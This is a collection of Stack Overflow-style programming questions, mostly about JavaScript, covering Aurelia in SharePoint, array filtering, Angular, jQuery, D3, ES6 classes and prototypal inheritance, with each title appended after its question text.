( anonymous function ) @ Shell.ts:164Shell._startApplication @ Shell.ts:145Shell.start @ Shell.ts:141 ( anonymous function ) @ SPModuleLoader.ts:178 FetchProvider.ts:30 GET https : //softwares-macbook-pro.local:4321/sites/workbench/_api/web/GetClientSideWebParts 404 ( Not Found ) FetchProvider.fetch @ FetchProvider.ts:30BasicHttpClient.fetchCore @ BasicHttpClient.ts:68HttpClient._fetchWithInstrumentation @ HttpClient.ts:183HttpClient.fetch @ HttpClient.ts:141HttpClient.get @ HttpClient.ts:154 ( anonymous function ) @ ClientSideWebPartManager.ts:335ServiceScope.whenFinished @ ServiceScope.ts:174 ( anonymous function ) @ ClientSideWebPartManager.ts:333ClientSideWebPartManager.fetchWebParts @ ClientSideWebPartManager.ts:327CanvasStore._fetchWebParts @ CanvasStore.ts:509CanvasStore @ CanvasStore.ts:93Canvas @ Canvas.ts:59Page.componentDidMount @ Page.tsx:28target . ( anonymous function ) @ index.js:153notifyAll @ react.js:869close @ react.js:12870closeAll @ react.js:15699perform @ react.js:15646batchedMountComponentIntoNode @ react.js:10882perform @ react.js:15633batchedUpdates @ react.js:8456batchedUpdates @ react.js:13706_renderNewRootComponent @ react.js:11076ReactMount__renderNewRootComponent @ react.js:12353_renderSubtreeIntoContainer @ react.js:11150render @ react.js:11170React_render @ react.js:12353SpWebpartWorkbench.onRender @ spWebpartWorkbench.tsx:44ClientSideApplication.render @ ClientSideApplication.ts:83 ( anonymous function ) @ Shell.ts:165Shell._startApplication @ Shell.ts:145Shell.start @ Shell.ts:141 ( anonymous function ) @ SPModuleLoader.ts:178 TraceLogger.ts:147 [ SuiteNavManager ] SuiteNavManager loadData Failed to retrieve SPO SuiteNavData TraceLogger.ts:145 [ ClientSideWebPartManager ] SyntaxError : Unexpected token C in JSON at position 0TraceLogger._writeToConsole @ TraceLogger.ts:145TraceLogger._log @ TraceLogger.ts:117TraceLogger.logError @ TraceLogger.ts:42 ( anonymous function ) @ ClientSideWebPartManager.ts:355 TraceLogger.ts:147 [ ClientSideWebPartManager ] Successfully loaded modules for webpart 7fb7d3c1-c91b-4038-8e2b-2c7dc5376161 TraceLogger.ts:147 [ BaseClientSideWebPart ] Constructed web part : 568966e1-6496-4915-927f-ce874bbe7d27 OnPremSuiteNavDataSource.ts:65 Uncaught ( in promise ) Error : Failed to retrieve Hybrid SuiteNavData ( … ) OnPremSuiteNavDataSource._logAndThrowSuiteNavLoadingError @ OnPremSuiteNavDataSource.ts:65 ( anonymous function ) @ OnPremSuiteNavDataSource.ts:45 Beacon.js:372 Beacon : Logged to UserEngagement with properties : { `` EngagementName '' : '' SPPages.SPThemeProvider.loadData.Start '' , '' Properties '' : '' { \ '' appver\ '' : \ '' \ '' } '' , '' Duration '' :0 , '' LogType '' :0 , '' ClientTime '' :1478836974552 , '' Source '' : '' ClientV2Reliability '' } < template > $ { message } < /template > export class App { message = 'hello world ' ; } import { Aurelia } from 'aurelia-framework ' ; export function configure ( aurelia ) { aurelia.use .standardConfiguration ( ) .developmentLogging ( ) ; aurelia.start ( ) .then ( a = > a.setRoot ( ) ) ; } < div aurelia-app > < h1 > Loading ... < /h1 > < h2 > ftw < /h2 > < script src= '' jspm_packages/system.js '' > < /script > < script src= '' config.js '' > < /script > < script > System.import ( 'aurelia-bootstrapper ' ) ; < /script > < /div > import { BaseClientSideWebPart , IPropertyPaneSettings , IWebPartContext , PropertyPaneTextField } from ' @ microsoft/sp-client-preview ' ; import styles from './HelloWorld.module.scss ' ; import * as strings from 'helloWorldStrings ' ; import { IHelloWorldWebPartProps } from './IHelloWorldWebPartProps ' ; import { configure } from './main ' ; import * as systemjs from 'systemjs ' ; import { Aurelia } from 'aurelia-framework ' ; export default class HelloWorldWebPart extends BaseClientSideWebPart < IHelloWorldWebPartProps > { public constructor ( context : IWebPartContext ) { super ( context ) ; } public render ( ) : void { if ( this.renderedOnce === false ) { this.domElement.innerHTML = require ( './index.html ' ) ; } } protected get propertyPaneSettings ( ) : IPropertyPaneSettings { return { pages : [ { header : { description : strings.PropertyPaneDescription } , groups : [ { groupName : strings.BasicGroupName , groupFields : [ PropertyPaneTextField ( 'description ' , { label : strings.DescriptionFieldLabel } ) ] } ] } ] } ; } } { `` entries '' : [ { `` entry '' : `` ./lib/webparts/helloWorld/HelloWorldWebPart.js '' , `` manifest '' : `` ./src/webparts/helloWorld/HelloWorldWebPart.manifest.json '' , `` outputPath '' : `` ./dist/hello-world.bundle.js '' } ] , `` externals '' : { `` @ microsoft/sp-client-base '' : `` node_modules/ @ microsoft/sp-client-base/dist/sp-client-base.js '' , `` @ microsoft/sp-client-preview '' : `` node_modules/ @ microsoft/sp-client-preview/dist/sp-client-preview.js '' , `` @ microsoft/sp-lodash-subset '' : `` node_modules/ @ microsoft/sp-lodash-subset/dist/sp-lodash-subset.js '' , `` office-ui-fabric-react '' : `` node_modules/office-ui-fabric-react/dist/office-ui-fabric-react.js '' , `` react '' : `` node_modules/react/dist/react.min.js '' , `` react-dom '' : `` node_modules/react-dom/dist/react-dom.min.js '' , `` aurelia '' : `` node_modules/aurelia-framework/dist/aurelia-framework.js '' , `` systemjs '' : `` node_modules/systemjs/dist/systemjs/system.js '' } , `` localizedResources '' : { `` helloWorldStrings '' : `` webparts/helloWorld/loc/ { locale } .js '' } }",Aurelia app `` Hello World '' not working at all "JS : I wrote this piece of code to filter an array of words . I wrote a filter function for every type of word I want to filter out and apply them sequentially to the array : This code iterates over the whole array six times if I am not mistaken . Would n't it be more efficient to write one ( more complex , yet still easy in my scenario ) filter function that logically combines the filter functions to achieve the same result ? I learned about filter in the context of Functional Programming which is supposed to make my code shorter and faster . That 's why I probably did n't question what I was writing , thinking ' I am doing FP , this got ta be good'.Thanks ! const wordArray = rawArray.filter ( removeNonDomainWords ) .filter ( removeWordsWithDigits ) .filter ( removeWordsWithInsideNonWordChars ) .filter ( removeEmptyWords ) .filter ( removeSearchTerm , term ) .map ( word = > replaceNonWordCharsFromStartAndEnd ( word ) )",Is using several '.filter ' calls on a big array bad for performance in Javascript ? "JS : I am writing a handler to do something to some element when a user clicks on a different element . At first I had the following ( This is using Angular2 but I suspect the only different is how the onclick event is handled ) : ... but this did n't work . I then found an example that identified the input field differently , and this did work for me . It was as follows : Unfortunately I ca n't find anything that explains this . Searching for `` hash '' and `` pound '' with HTML and Javascript yield too many results that have nothing to do with this in the subject area.So what does # do in this case ? Can id not be used to obtain a reference to the DOM element when setting up an event handler ? What is this called so I can google it and read the appropriate documentation ? < span > < input type= '' text '' id= '' bioName '' > < /span > < span class= '' icon-pencil '' ( click ) = '' editField ( bioName ) ; '' > < /span > < span > < input type= '' text '' # bioName > < /span > < span class= '' icon-pencil '' ( click ) = '' editField ( bioName ) ; '' > < /span >",What does a ` # ` attribute do in HTML ? "JS : I have the following HTML structure : And I 'm trying to duplicate the items inside # container . Unfortunately is not working as I expect.A ) My code duplicates all the items inside , when actually I have only selected oneB ) I ca n't duplicate properlyThe code that duplicates all items is the following.Well , the parent ( ) of $ dragRightClick is the # container , so I understand the reason why it duplicate all the items ... What I want to duplicate is only the div inside the # container , that means : But what I 've got so far is only : The following code outputs the above code : You can check the full problem in JSFiddle . < div id= '' container '' > < div class='label-item-text drag ' data-type='text ' > < div > Right click on me and check the HTML of the duplicated < /div > < /div > < /div > $ ( ' # container ' ) .append ( $ dragRightClick.parent ( ) .html ( ) ) ; < div class='label-item-text drag ' data-type='text ' > < div > Right click on me and check the HTML of the duplicated < /div > < /div > < div > Right click on me and check the HTML of the duplicated < /div > console.log ( `` Clone : `` + $ dragRightClick.clone ( ) .html ( ) ) ; console.log ( `` HTML : `` + $ dragRightClick.html ( ) ) ;",jQuery duplicate item inside div "JS : I have a button and a dropdownlstAnd I have this script : My Goal : When a form submits , I need to show a `` loading div '' : Question : When I press the button it does show me the div ( the gray div which blinks for a second ) : But when I change index on the dropdownlist : It does submit bUt I dont see the div : Why does the $ ( `` form '' ) .submit ( function ( e ) does not capture this postback which occurs after selected index change ? ? NB : Fiddler shows both events ( pressing the button & & changing index ) as a POST commandWhat is the structure of the file ? ( psuedo ) : Can you show the difference between both requests which sent to the server ? **Yes . ** The right side is when index is changed and the left pane is for button press $ ( `` form '' ) .submit ( function ( e ) { $ ( ' # divOverlay ' ) .show ( ) ; } ) ; < asp : DropDownList runat= '' server '' OnSelectedIndexChanged= '' OnSelectedIndexChanged '' AutoPostBack= '' True '' > < asp : ListItem Value= '' a '' > a < /asp : ListItem > < asp : ListItem Value= '' b '' > b < /asp : ListItem > < /asp : DropDownList > < html > < head > ... < /head > < body > < div id='divOverlay ' > ... < /div > < form id= '' form1 '' runat= '' server '' > < asp : Button runat= '' server '' Text= '' sssssss '' / > < asp : DropDownList runat= '' server '' OnSelectedIndexChanged= '' OnSelectedIndexChanged '' AutoPostBack= '' True '' > ... < /asp : DropDownList > < /form > < script type= '' text/javascript '' > $ ( function ( ) { $ ( `` form '' ) .submit ( function ( e ) { $ ( ' # divOverlay ' ) .show ( ) ; } ) ; } ) ; < /script > < /body > < /html >",Form submit event is not capturing OnSelectedIndexChanged ? "JS : I have an array of elements which the user can not only edit , but also add and delete complete array elements . This works nicely , unless I attempt to add a value to the beginning of the array ( e.g . using unshift ) .Here is a test demonstrating my problem : The first two tests pass just fine . However the third test fails . In the third test I attempt to prepend `` z '' to my inputs , which is successful , however the second input also shows `` z '' , which it should not . ( Note that hundreds of similar questions exist on the web , but in the other cases people were just not having unique name-attributes and they are also just appending , not prepending ) .Why is this happening and what can I do about it ? Notes on trackBySo far the answers were just `` use trackBy '' . However the documentation for trackBy states : By default , the change detector assumes that the object instance identifies the node in the iterableSince I do n't supply an explicit trackBy-Function , that means that angular is supposed to track by identity , which ( in the case above ) absolutely correctly identifies each object and is inline with what the documentation expects.The answer by Morphyish basically states that the feature to track by identity is broken and proposes to use an id-Property . At first it seemed to be a solution , but then it turned out to be just an error . Using an id-Property exhibits the exact same behavior as my test above.The answer by penleychan tracks by index , which causes angular to think , that after I unshifted a value angular thinks that actually I pushed a value and all values in the array just happened to have updated . It kind of works around the issue , but it is in violation to the track-By contract and it defeats the purpose of the track-by-function ( to reduce churn in the DOM ) . import { Component } from ' @ angular/core ' ; import { ComponentFixture , TestBed } from ' @ angular/core/testing ' ; import { FormsModule } from ' @ angular/forms ' ; @ Component ( { template : ` < form > < div *ngFor= '' let item of values ; let index = index '' > < input [ name ] = '' 'elem ' + index '' [ ( ngModel ) ] = '' item.value '' > < /div > < /form > ` } ) class TestComponent { values : { value : string } [ ] = [ { value : ' a ' } , { value : ' b ' } ] ; } fdescribe ( 'ngFor/Model ' , ( ) = > { let component : TestComponent ; let fixture : ComponentFixture < TestComponent > ; let element : HTMLDivElement ; beforeEach ( async ( ) = > { TestBed.configureTestingModule ( { imports : [ FormsModule ] , declarations : [ TestComponent ] } ) ; fixture = TestBed.createComponent ( TestComponent ) ; component = fixture.componentInstance ; element = fixture.nativeElement ; fixture.detectChanges ( ) ; await fixture.whenStable ( ) ; } ) ; function getAllValues ( ) { return Array.from ( element.querySelectorAll ( 'input ' ) ) .map ( elem = > elem.value ) ; } it ( 'should display all values ' , async ( ) = > { // evaluation expect ( getAllValues ( ) ) .toEqual ( [ ' a ' , ' b ' ] ) ; } ) ; it ( 'should display all values after push ' , async ( ) = > { // execution component.values.push ( { value : ' c ' } ) ; fixture.detectChanges ( ) ; await fixture.whenStable ( ) ; // evaluation expect ( getAllValues ( ) ) .toEqual ( [ ' a ' , ' b ' , ' c ' ] ) ; } ) ; it ( 'should display all values after unshift ' , async ( ) = > { // execution component.values.unshift ( { value : ' z ' } ) ; fixture.detectChanges ( ) ; await fixture.whenStable ( ) ; // evaluation console.log ( JSON.stringify ( getAllValues ( ) ) ) ; // Logs ' [ `` z '' , '' z '' , '' b '' ] ' expect ( getAllValues ( ) ) .toEqual ( [ ' z ' , ' a ' , ' b ' ] ) ; } ) ; } ) ;",ngFor + ngModel : How can I unshift values to the array I am iterating ? "JS : could someone please explain to me what is going on in the second line here ? : var foo = function ( ) { alert ( `` hello ? `` ) } ; ( 0 , foo ) ( ) ;",Unusual javascript syntax "JS : I 'm trying to pull just the year out of a date , but for some reason on the first day of the year its returning the year previous.will return '2011 ' andwill return '2012'Any good ideas on what I 'm doing wrong ? or a fix for this would be helpful . new Date ( '2012-01-01 ' ) .getFullYear ( ) new Date ( '2012-01-02 ' ) .getFullYear ( )",getFullYear returns year before on first day of year "JS : I am loading a GeoJSON data file that contains an array of objects , each object containing the vector information for a different country 's outline . The same array element is being bound to every DOM element . I have come across this scope issue before in JavaScript but every change I made caused nothing to load.I attached a jsfiddle . I use an example data file which seems to take a couple seconds to load.My code from the jsfiddle looks like : $ ( document ) .ready ( function ( ) { d3.json ( `` https : //raw.githubusercontent.com/datasets/geo-boundaries-world-110m/master/countries.geojson '' , function ( error , data ) { var myGeoJSON = data.features ; for ( i = 0 ; i < myGeoJSON.length ; i++ ) { var path = d3.geo.path ( ) ; var width = 960 ; var height = 600 ; var svg = d3.select ( `` body '' ) .append ( `` svg '' ) .attr ( `` width '' , width ) .attr ( `` height '' , height ) ; svg.selectAll ( `` path '' ) .data ( data.features ) .enter ( ) .append ( `` path '' ) .attr ( `` d '' , path ) .attr ( `` fill '' , '' # 3e429a '' ) ; } } ) ; } ) ;",D3.js - JSON data array is binding the same array element to everything "JS : In my application , To Hide some information in URL i am using below code.It is working in all the browsers except firefox latest version ( v56+ ) In Firefox , if i press F5 then it is going back to previous URL which i have already replaced with above code.Any help will be highly appreciated . history.replaceState ( { } , `` '' , `` bar.html '' ) ;",history.replaceState not working for firefox v56+ "JS : This function inside an object define the event handling for a xmlhttprequest object . As some browsers did not accept the addEventListener method , I did a test so if not , it will define onstatechange : The `` este '' is `` this '' outside the function ( var este = this ; ) The `` reqSwitch '' will point to the right funcion . The problem is the test este.Request.hasOwnProperty ( `` onload '' ) works only in Safari . How can I make a cross-browser test to detect if the browser will work with addEventListener ? var reqEngatilhar = function ( ) { este.concluido = false ; timeoutId = setTimeout ( reqTimeout , este.timeout ) ; if ( este.Request.hasOwnProperty ( `` onload '' ) ) { este.Request.addEventListener ( `` error '' , reqErro , true ) ; este.Request.addEventListener ( `` progress '' , reqMon , false ) ; este.Request.addEventListener ( `` abort '' , reqAbort , false ) ; este.Request.addEventListener ( `` load '' , reqFim , false ) ; console.log ( `` $ Http reqEngatilhar usando eventos ... '' ) ; } else { este.Request.onreadystatechange = function ( e ) { reqSwitch ( e ) ; } ; console.log ( `` $ Http reqEngatilhar usando onreadystatechange ... '' ) ; } }",How to detect if browser will accept xmlhttprequest events by addEventListener ? "JS : I saw this in a Javascript exampleI assume it means to check if my_var exists , if not set my_var to 69 . Is this the case ? Is there any documentation on this , it is very hard to represent as a google/SO search , could somebody point me in the direction of docs or duplicate QA ? ( The example did n't use 69 , that 's just me being crass ) my_var = my_var || 69",What is this communicating : my_var = my_var || 69 JS : Possible Duplicate : Why do n't self-closing script tags work ? I 'm trying jquery now . When I included the jquery.js as followsthe code does n't worked properly . Actually it is just a simple hello world program . I just called a jQuery specific function . But that was not working if I include the file as above . But when I changed the closing like thisthe code worked well . What is the difference ? < script type= '' text/javascript '' src= '' jquery.js '' / > < script type= '' text/javascript '' src= '' jquery.js '' > < /script >,closing tag in HTML "JS : I 'm trying to run sequelize-cli , specifically npx sequelize db : migrate.I 've created a config file in config/config.js which looks like this ( obviously with correct credentials ) : However I 'm receiving the following error : As you can see from my config I believe I have set encrypt to true . This is my understanding of how to set this option from the docs.How can I successfully set encrypt to true ? module.exports = { development : { username : `` USER '' , password : `` PASSWORD '' , database : `` DB_NAME '' , host : `` HOST.net '' , dialect : 'mssql ' , dialectOptions : { encrypt : `` true '' // bool - true - does n't work either } } } ; ERROR : Server requires encryption , set 'encrypt ' config option to true .",Set encrypt to true on Sequelize-cli migrate for MSSQL "JS : Python classes have this neat feature where you can decorate a class method with the @ property decorator , which makes the method appear as a statically-valued member rather than a callable . For example , this : results in the following behavior : So finally , my question : is there any built-in syntax that provides similar behavior in ES6 classes ? I 'm not an expert on the documentation ( yet ) but so far I do n't see anything that provides this type of functionality . class A ( object ) : def my_method ( self ) : return `` I am a return value . '' @ property def my_property ( self ) : return `` I am also a return value . '' > > > a = A ( ) > > > a.my_method ( ) ' I am a return value . ' > > > a.my_property ' I am also a return value . '",Is there an equivalent to Python-style class properties in ES6 ? "JS : I have a function which returns a Promise.Now , sometimes it makes sense for the consumer to use the `` then '' function on that Promise . But sometimes the consumer simply does not care about when the Promise resolves , and also not about the result - in other words the same function should also be able to be called in a `` fire and forget '' manner.So I want these two usage scenarios : This apparently works , but I wonder if this is considered `` bad practice '' , and in particular if this usage pattern could have any unwanted side effects , ie . leading to memory leaks ? Right now I am using bluebird , but I consider to switch to native Promises if that makes any difference . func ( ) .then ( ... ) ; // process Promisefunc ( ) ; // `` fire and forget ''",Are there any ( negative ) side effects when I do n't use the `` then '' function of a Promise ? "JS : I 'm writing an app which for various reasons involves Internet Explorer ( IE7 , for the record ) , ActiveX controls , and a heroic amount of JavaScript , which is spread across multiple .js includes . One of our remote testers is experiencing an error message and IE 's error message says something to the effect of : There 's only one JavaScript file which has over 719 lines and line 719 is a blank line ( in this case ) .None of the HTML or other files involved in the project have 719 or more lines , but the resulting HTML ( it 's sort of a server-side-include thing ) , at least as IE shows from `` View Source '' does have 719 or more lines - but line 719 ( in this case ) is a closing table row tag ( no JavaScript , in other words ) .The results of `` View Generated Source '' is only 310 lines in this case.I would imagine that it could possibly be that the entire page , with the contents of the JavaScript files represented inline with the rest of the HTML could be where the error is referring to but I do n't know any good way to view what that would be , So , given a JavaScript error from Internet Explorer where the line number is the only hint but the page is actually spread across multiple files ? UPDATE : The issue is exacerbated by the fact that the user experiencing this is remote and for various network reasons , debugging it using something like Visual Studio 2008 ( which has awesome JavaScript debugging , by the way ) is impossible . I 'm limited to having one of us look at the source to try and figure out what line of code it 's crapping out on.UPDATE 2 : The real answer ( as accepted below ) seems to be `` no , not really '' . For what it 's worth though , Robert J. Walker 's bit about it being off by one did get me pointed in the right direction as I think it was the offending line . But since that 's not really what I 'd call good or reliable ( IE 's fault , not Robert J. Walker 's fault ) I 'm going to accept the `` no , not really '' answer . I 'm not sure if this is proper SO etiquette . Please let me know if it 's not via the comments . Line : 719Char : 5Error : Unspecified ErrorCode : 0URL : ( the URL of the machine )",Is there any good or reliable way to figure out where a JavaScript error is using only an Internet Explorer error message ? "JS : I have multiple grids that display data based on a given filter ( in a web application using a REST Api ) . The data structure displayed is always the same ( to simplify the problem ) , but depending on the screen on which the user is , the displayed results are different.In addition , and this is the issue , some results must be disabled so that the user can not select them.Example : A Foo has N Bars . If I want to add a new child ( bar ) to the father ( foo ) , I go to the search screen , but I want the filtered grid shows as disabled children which are already related to the father.Currently I 'm controlling this issue on the server ( database querys ) by doing specifics joins depending on the scenario and `` disabling '' results I do n't want . But this approach causes I can not reuse queries ( due to specifics joins . Maybe I need to search Bars int order relate them with other father Baz , and I want disable Bars that are already related with current father ... ) Another approach could be the following : Save the children ( only ids ) related to the father in an array in memory ( javascript ) In the `` prerender '' grid event ( or similar ) check for each element whether it is contained in the previous array or not ( search by id ) . If so , mark it as disabled ( for example ) .This is a reusable solution in client-side and I can always reuse the same query in server side.Before starting to implement this solution I would like to know if there is any better option.I 'm sure this is a recurring problem and I do n't want to reinvent the wheel.Any strategy or suggestion ? Edit : show example : Assuming this model : I have two different screens : one showing items belongs to one category and another showing items belongs to one sales promotion . In each screen I can search for items and add them to the Category or SalesPromotion . But when I 'm searching items , I want items that already belongs to Category/SalesPromotion to show as disabled ( or not shown , for simplicity in this example ) .I can do this in server , doing queries like these : You can imagine what happens if I had more and more scenarios like these ( with more complex model and queries of course ) .One alternative could be : Store items that already belongs to current Category/SalesPromotion in memory ( javascript , clientside ) .On grid prerender event ( or equivalent ) in clientside determine what items must be disabled ( by searching each row in stored items ) .So , my question is wheter this approach is a good solution or is there a well-known solution for this issue ( I think so ) . Category N : M ItemSalesPromotion N : M Item -- Query for search Items in Category screenSELECT * FROM ITEMS iLEFT JOIN ItemsCategories ic on ic.ItemId = i.ItemIdWHERE ic.CategoryId IS NULL OR ic.CategoryId < > @ CurrentCategoryId -- Query for search Items in SalesPromotion screenSELECT * FROM ITEMS iLEFT JOIN ItemsSalesPromotions isp on isp.ItemId= i.ItemIdWHERE isp.PromotionId IS NULL OR isp.PromotionId < > @ CurrentPromotionId",How to disable elements in a grid "JS : I wrote this `` awesome '' code , that fixes elements height for stupid browsers that calculate it wrong.It fixes height fine when user resize browser by holding it 's borders with mouse or window maximizes , but once window getting restored , heights calculated wrongly and scroll bar appears . I need to know why and how to fix it.Most likely you will want to ask `` why the hell I doing that ? ! `` That 's the explanation of the problem : I need , I REALLY NEED to have page height at 100 % of browser window.This ultimate simple code : Gives ultimate weird results in IE8 - IE10 and Opera 12.xThe inner div height would be `` minimal to fit content '' or calculated based on window height , instead of that parent TD.IE11 is the only one browser that calculates height of inner div correctly.P.S . If you can solve main problem for IE8 - 10 , Opera 12.x height calculations without JS , would be even better . < ! DOCTYPE html > < html style = 'height : 100 % ; ' > < head > < title > test manual height calculations < /title > < /head > < script type = 'text/javascript ' > window.onresize = fixHeighs ; function endsWith ( str , suffix ) { if ( ! str ) return false ; return str.indexOf ( suffix , str.length - suffix.length ) ! == -1 ; } function fixHeighs ( start_elem ) { if ( start_elem & & start_elem.target ) // if this is event , then make var null start_elem = null ; var curr_elem = start_elem ? start_elem : document.body ; // determine what element we should check now var neededHeight = curr_elem.getAttribute ( `` data-neededHeight '' ) ; // get data-neededHeight attribute if ( endsWith ( neededHeight , `` % '' ) ) // if this attribute set { curr_elem.height = ( ( neededHeight.replace ( `` % '' , `` '' ) * curr_elem.parentElement.offsetHeight ) / 100 ) + `` px '' ; // fix heights curr_elem.style.height = ( ( neededHeight.replace ( `` % '' , `` '' ) * curr_elem.parentElement.offsetHeight ) / 100 ) + `` px '' ; } for ( var i = 0 ; i < curr_elem.children.length ; i++ ) fixHeighs ( curr_elem.children [ i ] ) ; //do the same for children } < /script > < body style = 'height : 100 % ; margin : 0px ; ' onload = `` fixHeighs ( null ) ; '' > < table border = ' 1 ' width = '100 % ' data-neededHeight = '100 % ' > < tr > < td colspan = ' 2 ' height = '1px ' > header < /td > < /tr > < tr > < td width = '40 % ' align = 'center ' valign = 'middle ' bgcolor = 'silver ' > < div data-neededHeight = '100 % ' style = 'width : 90 % ; border : dashed ; ' > should be 100 % of silver cell < /div > < td > text < /td > < /tr > < tr > < td colspan = ' 2 ' height = '1px ' > bottom panel < /td > < /tr > < /table > < /body > < /html > < ! DOCTYPE html > < html style = `` height : 100 % ; '' > < head > < title > test height < /title > < meta http-equiv= '' X-UA-Compatible '' content= '' IE=edge '' / > < meta http-equiv = `` Content-Type '' content = `` text/html ; charset = windows-1251 '' / > < /head > < body style = `` height : 100 % ; margin : 0px ; '' > < table border = `` 1 '' width = `` 100 % '' height = `` 100 % '' > < tr > < td colspan = `` 2 '' height = `` 1px '' > header < /td > < /tr > < tr > < ! -- can add height = '100 % ' in this TD and then in IE8 - 10 , Opera 12.17 inner div height will be 100 % OF PAGE , instead of this cell -- > < td width = `` 40 % '' < ! -- height = '100 % ' -- > align = `` center '' valign = `` middle '' bgcolor = 'silver ' > < div style = 'width : 90 % ; height : 100 % ; border : dashed ; ' > should be 100 % of silver cell < /div > < /td > < td > text < /td > < /tr > < tr > < td colspan = `` 2 '' height = `` 1px '' > bottom panel < /td > < /tr > < /table > < /body > < /html >",Why my heights fixer code work wrong when browser window restored after being maximised ? "JS : Hi I want to count LI which does not have the UL , for the first level only , but when I count this it shows size 4 instead of 2 , its count the inner LI also.jQuery for this.Link for the testing link text on JSBin , thanks < div class= '' navigation-container '' > < ul class= '' first-level '' > < li > < a href= '' # '' > Link 1 < /a > < /li > < li > < a href= '' # '' > Link 2 < /a > < ul > < li > < a href= '' # '' > Link2.1 < /a > < /li > < li > < a href= '' # '' > Link2.2 < /a > < ul > < li > < a href= '' # '' > Link 2.2.1 < /a > < /li > < /ul > < /li > < /ul > < /li > < li > < a href= '' # '' > Link < /a > < /li > < /ul > < /div > jQuery ( document ) .ready ( function ( ) { var nosubnav = jQuery ( '.first-level li : not ( : has ( ul ) ) ' ) ; var nosubnavsize = jQuery ( '.first-level li : not ( : has ( ul ) ) ' ) .size ( ) ; jQuery ( nosubnav ) .css ( 'border ' , '1px solid red ' ) ; alert ( 'List item which does not have submenu '+nosubnavsize ) ; } ) ;",How to count li which does not have ul ? "JS : The reasons for doing this are complicated , but it boils down to flow not understanding mixins or any other way of modifying an ES6 class 's prototype . So I 'm falling back to ES5 , but I ca n't figure out how to call the constructor of an ES6 class without new : class A { constructor ( ) { } } function B ( ) { // what do I put here ? I would do something like // A.prototype.constructor.call ( this ) but that throws an error saying the // constructor can only be called with ` new ` } B.prototype = Object.create ( A.prototype ) ;",How do I extend an ES6 class with ES5 ? "JS : Why does this code throw an error ? Live demo : http : //jsfiddle.net/SE3eX/1/So , what we have here is a named function expression . I 'd like to explicitly point out that this function expression appears in non-strict code . As you can see , its function body is strict code.The strict mode rules are here : http : //ecma-international.org/ecma-262/5.1/ # sec-CThe relevant bullet is this one ( it 's the last one on the list ) : It is a SyntaxError to use within strict mode code the identifiers eval or arguments as the Identifier of a FunctionDeclaration or FunctionExpression or as a formal parameter name ( 13.1 ) . Attempting to dynamically define such a strict mode function using the Function constructor ( 15.3.2 ) will throw a SyntaxError exception.Notice how this rule only applies if the function declaration/expression itself appears in strict code , which it does not in my example above.But it still throws an error ? Why ? // global non-strict code ( function eval ( ) { 'use strict ' ; } ) ;",( function eval ( ) { } ) throws a syntax error if function body is in strict mode ? JS : Im having some strings like theseetc ... .i need to change these strings to theseSimply saying..i need to add a space between each ( number/alphabetic s ) blocks aa11b2sabc1sff3a1b1sdd2 aa 11 b 2 sabc 1 sff 3a 1 b 1 sdd 2,"Regular expression pattern matching for number , alphabetcic blocks" "JS : Some javascript tomfoolery : If this worksthen how can you revert back to set undefined back to representing undefined ? Sure , the easy way is to store undefined in another variable before setting undefined to true . What other way can you restore undefined ? First thought to set it back was delete undefined ; , did n't work . undefined = true ;",undefined = true ; then back to undefined ? "JS : I 'm using MockBackend to test code that depends in @ angular/http.All the examples around the web use an asynchronous test setup , like here : thoughtram : Testing Services with Http in AngularHowever , I tried that out and I ’ m pretty sure that MockBackend executes completely synchronous : I created a full example on plunker here : https : //plnkr.co/edit/I3N9zL ? p=previewSomething must have been changed since those articles were written.Can somebody point me to that breaking change ? Or did I missed an important fact ? describe ( 'getVideos ( ) ' , ( ) = > { it ( 'should return an Observable < Array < Video > > ' , async ( inject ( [ VideoService , MockBackend ] , ( videoService , mockBackend ) = > { videoService.getVideos ( ) .subscribe ( ( videos ) = > { expect ( videos.length ) .toBe ( 4 ) ; expect ( videos [ 0 ] .name ) .toEqual ( 'Video 0 ' ) ; expect ( videos [ 1 ] .name ) .toEqual ( 'Video 1 ' ) ; expect ( videos [ 2 ] .name ) .toEqual ( 'Video 2 ' ) ; expect ( videos [ 3 ] .name ) .toEqual ( 'Video 3 ' ) ; expect ( `` THIS TEST IS FALSE POSITIVE '' ) .toEqual ( false ) ; } ) ; const mockResponse = { data : [ { id : 0 , name : 'Video 0 ' } , { id : 1 , name : 'Video 1 ' } , { id : 2 , name : 'Video 2 ' } , { id : 3 , name : 'Video 3 ' } ] } ; mockBackend.connections.subscribe ( ( connection ) = > { connection.mockRespond ( new Response ( new ResponseOptions ( { body : JSON.stringify ( mockResponse ) } ) ) ) ; } ) ; } ) ) ) ; } ) ; describe ( 'getVideos ( ) ' , ( ) = > { it ( 'should return an Observable < Array < Video > > ' , inject ( [ VideoService , MockBackend ] , ( videoService , mockBackend ) = > { const mockResponse = { data : [ { id : 0 , name : 'Video 0 ' } , { id : 1 , name : 'Video 1 ' } , { id : 2 , name : 'Video 2 ' } , { id : 3 , name : 'Video 3 ' } , ] } ; mockBackend.connections.subscribe ( ( connection ) = > { connection.mockRespond ( new Response ( new ResponseOptions ( { body : JSON.stringify ( mockResponse ) } ) ) ) ; } ) ; let videos ; videoService.getVideos ( ) .subscribe ( v = > videos = v ) ; // synchronous code ! ? expect ( videos.length ) .toBe ( 4 ) ; expect ( videos [ 0 ] .name ) .toEqual ( 'Video 0 ' ) ; expect ( videos [ 1 ] .name ) .toEqual ( 'Video 1 ' ) ; expect ( videos [ 2 ] .name ) .toEqual ( 'Video 2 ' ) ; expect ( videos [ 3 ] .name ) .toEqual ( 'Video 3 ' ) ; } ) ) ; } ) ;","Angular : Testing HTTP with MockBackend , is async ( ) really required ?" "JS : I would like to know the popular ways of naming files in JavaScript and PHP development . I am working on a JS+PHP system , and I do not know how to name my files.Currently I do for JS : So , my folders are lowercase and objects CamelCase , but what should I do when the folder/namespace requires more than one word ? And what about PHP ? jQuery seems to follow : so that it isbut ExtJS follows completely different approach . Douglas Crockford only gives us details about his preference for syntax conventions . framework/framework/widget/framework/widget/TextField.js ( Framework.widget.TextField ( ) ) Framework.js ( Framework ( ) ) jquery.jsjquery.ui.jsjquery.plugin-name.js jquery ( \ . [ a-z0-9- ] ) *\.js",JavaScript and PHP filename coding conventions "JS : From this blog post we have this example of a prototypal inheritance in JavaScript : Now , what I 'm wondering is how does one properly `` override '' , for example , the sayPlanet function ? I tried it like this : and this works.However , I also tried it like this : but I get a type error.My questions are : how can I add the sayPlanet function inside the Object.create ? is this at all `` a good way '' or is there a better ( best practice ) way ? edit : I figured a way how I can add the sayPlanet inside the Object.create : However , a second question remains . Also , I would appreciate if someone can explain it in a bit deeper level if this is `` a good way '' to use it like this.edit # 2 : As Mahavir pointed below , this is an awful example , because as it turns out you ca n't ( please correct me if 